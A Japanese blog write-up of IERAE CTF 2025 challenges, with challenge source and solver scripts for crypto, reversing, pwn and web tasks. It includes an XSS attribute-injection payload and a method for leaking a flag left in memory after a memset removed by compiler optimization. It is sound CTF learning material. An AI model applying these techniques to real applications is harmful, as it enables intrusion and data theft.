IERAE CTF 2025 upsolves writeup

ieraeCTFにsknbとして参加して、チームメンバーが強く5位でした。

私はrev,webの最初のかんたんな3問ほどをときましたが、他の問題も面白そうだったのでupsolvesしました。

Slide Sandboxときたかったなぁー

DiNo.1

chromeとかでネットがないときにでてくるあのゲームをオマージュしています。

ちなみに、この画像はstさんが発見したチートですw

5000点以上を突破するとFLAGが得られるようです。

このチートでもいけますが、実装を見てみると

JavaScript
        function updateGame(timestamp) {
            if (isGameOver) return;

            if (!lastFrameTime) lastFrameTime = timestamp;
            const deltaTime = timestamp - lastFrameTime;
            lastFrameTime = timestamp;

            const timeRatio = deltaTime / FRAME_TIME;
            score += Math.ceil(timeRatio);
            scoreElement.textContent = `Score: ${score}`;

            const currentGameSpeed = gameSpeed * (1.5 + Math.floor(score / 500) * 0.2) * timeRatio;

            if (!lastCactusTime || timestamp - lastCactusTime > nextCactusDelay) {
                lastCactusTime = timestamp;
                createCactus();
                nextCactusDelay = getRandomCactusDelay();
            }

            const bearRect = bear.getBoundingClientRect();
            const bearBottom = parseInt(bear.style.bottom || '0');

            for (let i = 0; i < cacti.length; i++) {
                const cactus = cacti[i];
                const currentPosition = parseInt(cactus.style.left);
                const newPosition = currentPosition - currentGameSpeed;

                if (newPosition < -30) {
                    cactus.remove();
                    cacti.splice(i, 1);
                    i--;
                } else {
                    cactus.style.left = newPosition + 'px';

                    const cactusRect = cactus.getBoundingClientRect();

                    if (
                        bearRect.right > cactusRect.left + 10 &&
                        bearRect.left < cactusRect.right - 10 &&
                        bearBottom < cactusRect.height * 0.8
                    ) {
                        gameOver();
                        return;
                    }
                }
            }

            if (!isGameOver) animationId = requestAnimationFrame(updateGame);
        }

なので、scoreをクライアント側で、score=5000として、即gameOver()を呼び出せばフラグが得られます。

Baby MSD

chal.py
Python
#!/usr/bin/env python3

from sys import exit
from random import randint

def stage():
  digit_counts = [0 for i in range(10)]

  for i in range(2000):
    secret = randint(10 ** 60, 10 ** 100)
    M = int(input("Enter mod: "))
    if M < 10 ** 30:
      print("Too small!")
      exit(1)

    msd = str(secret % M)[0]
    digit_counts[int(msd)] += 1

  choice = int(input("Which number (1~9) appeared the most? : "))
  for i in range(10):
    if digit_counts[choice] < digit_counts[i]:
      print("Failed :(")
      exit(1)

  print("OK")

def main():
  for i in range(100):
    print("==== Stage {} ====\n".format(i+1))
    stage()

  print("You did it!")
  with open("flag.txt", "r") as f:
    print(f.read())

if __name__ == '__main__':
  main()

10**60から10**100までのsecretと10**30までのMのsecret % Mを計算しその最上位桁で最も多く出現した数字を答える。

これを2000回

Mを自由に指定できるので、2 * 10**30としたらあまりは[10**30,2*10**30-1]の間の数が半分を占めるため、最上位が1を占める確率が1/2になる。

Python
from pwn import *
p = remote("xxxx",12343)
MOD = str(2 * 10**30).encode()

payload = (MOD + b'\n') * 2000

for i in range(100):
    print(f"[*] Solving Stage {i+1}/100...")

    p.recvuntil(b"Enter mod: ")

    p.send(payload)

    p.recvuntil(b"Which number (1~9) appeared the most? : ")

    p.sendline(b"1")

    p.recvuntil(b"OK\n")

print("\n[+] All stages cleared! Receiving the flag...")

flag = p.recvall().decode()
print(f"\n[!] FLAG: {flag}")

p.close()

Length Calculator

chal.c
C
// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/mman.h>

void win(int sig) {
  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);
  setbuf(stdout, NULL);

  while (1) {
    unsigned int size = 100;
    
    printf("Enter size: ");
    scanf("%u%*c", &size);
    
    char *buf = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (!buf) {
      puts("Too large!");
      exit(1);
    }
    
    printf("Input: ");
    fgets(buf, size, stdin);
    buf[strcspn(buf, "\n")] = '\0';
    
    printf("Your string length: %d\n", strlen(buf));
  }
}

なんとsignal(SIGSEGV, win);という幻のコードが

SIGSEGVを発生させたら勝ちです。

man mmapを見るとERRORの欄に EINVAL (since Linux 2.6.12) length was 0.とあり、sizeに0を入力したらフラグが得られます。

rev rev rev

chal.py
Python
flag = open('flag.txt', 'r').read()
x = [ord(c) for c in flag]
x.reverse()
y = [i^0xff for i in x]
z = [~i for i in y]
open('output.txt', 'w').write(str(z))

output.txt
[-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183] 

やるだけ

Python
z = [-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183]

y = [~i for i in z]
x_reversed = [i ^ 0xff for i in y]
x = x_reversed[::-1]

flag = "".join([chr(i) for i in x])
print(flag)

Warmdown

unescapeしたものをそのままinnerHTMLしてしまっています。

うまく自作のunescapeを逆手に取ります。

![hacked](x "a\" onerror=alert(1) title=\"b")

rot rot rot

chatGPTに必要な関数を投げるとsolverをくれます。

Python
#!/usr/bin/env python3
# solve.py

def rol32(x: int, n: int) -> int:
    """32bit の左ローテート"""
    n &= 31
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def ror32(x: int, n: int) -> int:
    """32bit の右ローテート"""
    n &= 31
    return (x >> n) | ((x << (32 - n)) & 0xFFFFFFFF)

def rol8(b: int, n: int) -> int:
    """8bit の左バイトローテート"""
    n &= 7
    return ((b << n) & 0xFF) | (b >> (8 - n))

def ror8(b: int, n: int) -> int:
    """8bit の右バイトローテート"""
    n &= 7
    return (b >> n) | ((b << (8 - n)) & 0xFF)

# ── サブルーチン群 ──────────────────────────────────

def sub_1370(a1: int) -> int:
    """
    uint FUN_00101370(int param_1) の移植。
    -396357609 * a1, ・・・ と負数乗算しているので、Python でも同じ計算をして
    最後に &0xFFFFFFFF で 32bit に戻します。
    """
    # stage1: t1 = -396357609 * a1
    t1 = (a1 * -396357609) & 0xFFFFFFFF
    v2 = ((rol32(t1, 13) ^ t1) * -1700506385) & 0xFFFFFFFF
    v3 = ((ror32(v2, 5) ^ v2) * -1454520113) & 0xFFFFFFFF
    v4 = ((rol32(v3, 24) ^ v3) * -633224058) & 0xFFFFFFFF
    # final: ror32(v4, 17) ^ v4
    return ror32(v4, 17) ^ v4

def sub_12DB(a1: int) -> int:
    """
    uint FUN_001012db(byte param_1)
    ROT13 風置換:a–m→+13, n–z→–13, A–M→+13, N–Z→–13
    """
    if 97 <= a1 <= 109 or 65 <= a1 <= 77:
        return (a1 + 13) & 0xFF
    if 110 <= a1 <= 122 or 78 <= a1 <= 90:
        return (a1 - 13) & 0xFF
    return a1

# ── ステージ1:置換+バイトローテート ────────────────

def sub_stage1_forward(data: bytes) -> bytearray:
    n = len(data)
    out = bytearray(n)
    v7 = 0
    for i, b in enumerate(data):
        v6 = sub_12DB(b)
        v7 = (v7 + 4) % 7 + 1
        if i & 1:
            # 奇数インデックス → FUN_00101269 = 右ローテート
            out[i] = ror8(v6, v7)
        else:
            # 偶数インデックス → FUN_001012a2 = 左ローテート
            out[i] = rol8(v6, v7)
    return out

def sub_stage1_inverse(data: bytearray) -> bytearray:
    # sub_12DB の逆写像
    inv_db = { sub_12DB(b): b for b in range(256) }
    # バイトローテートの逆写像テーブル
    inv_even = {}  # 偶数位置:左ローテートの逆 = 右ローテート
    inv_odd  = {}  # 奇数位置:右ローテートの逆 = 左ローテート
    for b in range(256):
        v6 = sub_12DB(b)
        for v7 in range(1, 8):
            inv_even[(rol8(v6, v7), v7)] = v6
            inv_odd [(ror8(v6, v7), v7)] = v6

    n = len(data)
    plain = bytearray(n)
    v7 = 0
    for i in range(n):
        v7 = (v7 + 4) % 7 + 1
        c = data[i]
        if i & 1:
            v6 = inv_odd[(c, v7)]
        else:
            v6 = inv_even[(c, v7)]
        plain[i] = inv_db[v6]
    return plain

# ── ステージ2:ブロック内バイトローテート ───────────────

def sub_stage2_forward(data: bytearray) -> bytearray:
    n = len(data)
    out = bytearray(data)
    v11 = 0
    for j in range(0, n, 8):
        blk = min(8, n - j)
        v11 = (v11 + 3) % 7 + 1
        for _ in range(v11):
            first = out[j]
            for k in range(blk - 1):
                out[j + k] = out[j + k + 1]
            out[j + blk - 1] = first
    return out

def sub_stage2_inverse(data: bytearray) -> bytearray:
    n = len(data)
    out = bytearray(data)
    v11 = 0
    for j in range(0, n, 8):
        blk = min(8, n - j)
        v11 = (v11 + 3) % 7 + 1
        for _ in range(v11):
            last = out[j + blk - 1]
            for k in range(blk - 1, 0, -1):
                out[j + k] = out[j + k - 1]
            out[j] = last
    return out

# ── ステージ3:ストリーム暗号的 XOR ────────────────

def sub_stage3_forward(data: bytearray, header: bytes) -> bytearray:
    n = len(data)
    out = bytearray(n)
    # 平文先頭 4 バイトをリトルエンディアン seed に
    v8 = sum(header[i] << (8 * i) for i in range(4))
    v9 = sub_1370(v8)
    for i in range(n):
        k = v9 & 0xFF
        out[i] = data[i] ^ k
        v9 = sub_1370(v9)
    return out

# 逆演算は「同じストリームをもう一度 XOR」
sub_stage3_inverse = sub_stage3_forward

# ── 全体の encrypt / decrypt ────────────────────────────

def encrypt(plain: bytes, header: bytes = b"IERA") -> bytes:
    s1 = sub_stage1_forward(plain)
    s2 = sub_stage2_forward(s1)
    s3 = sub_stage3_forward(s2, header)
    return bytes(s3)

def decrypt(enc: bytes, header: bytes = b"IERA") -> bytes:
    s2 = sub_stage3_inverse(bytearray(enc), header)
    s1 = sub_stage2_inverse(s2)
    plain = sub_stage1_inverse(s1)
    return bytes(plain)

# ── メイン & テスト ─────────────────────────────────

if __name__ == "__main__":
    # 1) ラウンドトリップテスト
    sample = b"IERAE{TEST1234}"
    enc_sample = encrypt(sample)
    dec_sample = decrypt(enc_sample)
    print("Round-trip OK?", dec_sample == sample, repr(dec_sample))

    # 2) flag.enc の復号
    try:
        with open("flag.enc", "rb") as f:
            enc_flag = f.read()
        dec_flag = decrypt(enc_flag)
        # 末尾のスペース/NULL パディング除去
        dec_flag = dec_flag.rstrip(b"\x00").rstrip(b" ")
        print("Decrypted flag:", dec_flag.decode("utf-8", errors="ignore"))
        with open("flag.dec", "wb") as f:
            f.write(dec_flag)
    except FileNotFoundError:
        print("flag.enc が見つかりません。ラウンドトリップテストのみ行いました。")

Stdio Studio

C
// gcc chal.c -o chal -O3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void load_flag() {
  char flag[128] = "";

  FILE *fp = fopen("flag.txt", "rb");
  if (!fp) {
    puts("Something went wrong. Call admin.");
    exit(1);
  }

  fread(flag, sizeof(char), 128, fp);
  fclose(fp);

  // puts(flag); // Sorry! No flag for you!
  memset(flag, 0, 128); // The secret should be cleared up
}

void echo(void) {
  unsigned int size;
  char *buf;

  printf("Size: ");
  scanf("%u%*c", &size);

  buf = alloca(size);
  if (!buf) {
    puts("Too large!");
    exit(1);
  }

  printf("Input: ");
  fgets(buf, size, stdin);

  sleep(1);

  printf("Output: %s\n", buf);
}

int main() {
  setbuf(stdout, NULL);

  puts("1. Load flag");
  puts("2. Echo");

  while (1) {
    int cmd;

    printf("Enter command: ");

    scanf("%d%*c", &cmd);

    if (cmd == 1) load_flag();
    else if (cmd == 2) echo();
    else {
      puts("Invalid command :(");
      return 0;
    }
  }
}

わざわざ-O3で実行しており、これはコンパイラをめちゃくちゃ最適化するで。という意味らしい

すると、逆コンパイルしたらわかったのですが、memsetがいらねえってことで削除されています。

どうやら、memsetでバッファをゼロクリアした後、flag変数が二度と読み取られないのでいらねえらしいです。

なので、flagのデータはメモリに残っています。

あとは、fgetsの時にEOFを送信すると、bufに書き込むことなく終了してくれるので、あとはgdbとかでsizeを調整しながらbufがさすメモリをフラグの位置に調整すればOKです。

netcatでCtrl+Dを押してもなにも反映されなかったので、Geminiに聞いてみると「-N」などのオプションを付けたらいいらしいですが、うまくいかなかったのでshutdownを使う方法もあるらしいのでそれでsolverを作成しました。

Python
import socket
import time

HOST = '35.187.219.36'
PORT = 33335

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

s.recv(4096).decode()

s.sendall(b'1\n')
time.sleep(0.1)
s.recv(4096).decode()
s.sendall(b'2\n')
time.sleep(0.1)
s.recv(4096).decode()
s.sendall(b'80\n')
time.sleep(0.1)
s.recv(4096).decode()
s.shutdown(socket.SHUT_WR)

flag_data = s.recv(4096)
print(f"{flag_data = }")
s.close()
print("Connection closed.")

MSD

baby msdでは

for i in range(2000):
secret = randint(10 ** 60, 10 ** 100)

だったものが

secret = randint(10 ** 60, 10 ** 100)
for i in range(2000):

と、secretが固定になっている。

何がおこるかというと、baby msdでは2 * 10 ** 30を永遠に送り続けていたが今回の場合、secretが固定なので、運悪くsecret % 2*10**30が1以外の場合、正解にたどり着けません。

なので、Mを変えていかなければいけません。

2 * 10 ** kでkをランダムにしたらbaby msdと同じ理論で1が多くなるはずです。

Python
from pwn import *
from tqdm import tqdm

# io = remote("35.221.87.39",18374)
io = process(["python","chal.py"])

payload = b""

for i in range(2000):
    k = 30 + (i % 21)
    payload += str(2 * 10 ** (k)).encode() + b"\n"


for i in tqdm(range(100)):
    io.send(payload)
    io.sendlineafter(b"Which number (1~9) appeared the most? : ",str(1))

io.interactive()

脳死でこれを何回か実行するとフラグが得られます。

trunc

sagemathが読めないかけないのでGeminiと相談しながら解きました。

‎Gemini – LWE暗号の脆弱性分析と解読

最初に脆弱性っぽいとこを教えてくれて、sが判明すれば解けることもわかりました。

とりあえず脳死で、詰めていくのですがsolve数が40くらいなところから詰めるだけでは解けないのだろうなと思い、考えてみると、うまく問題の脆弱性ぽいところを利用し、eを求める方法を思いつき、相談してみるとフラグが出てきました!

AIすごい。そしてcryptohackをやろう

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール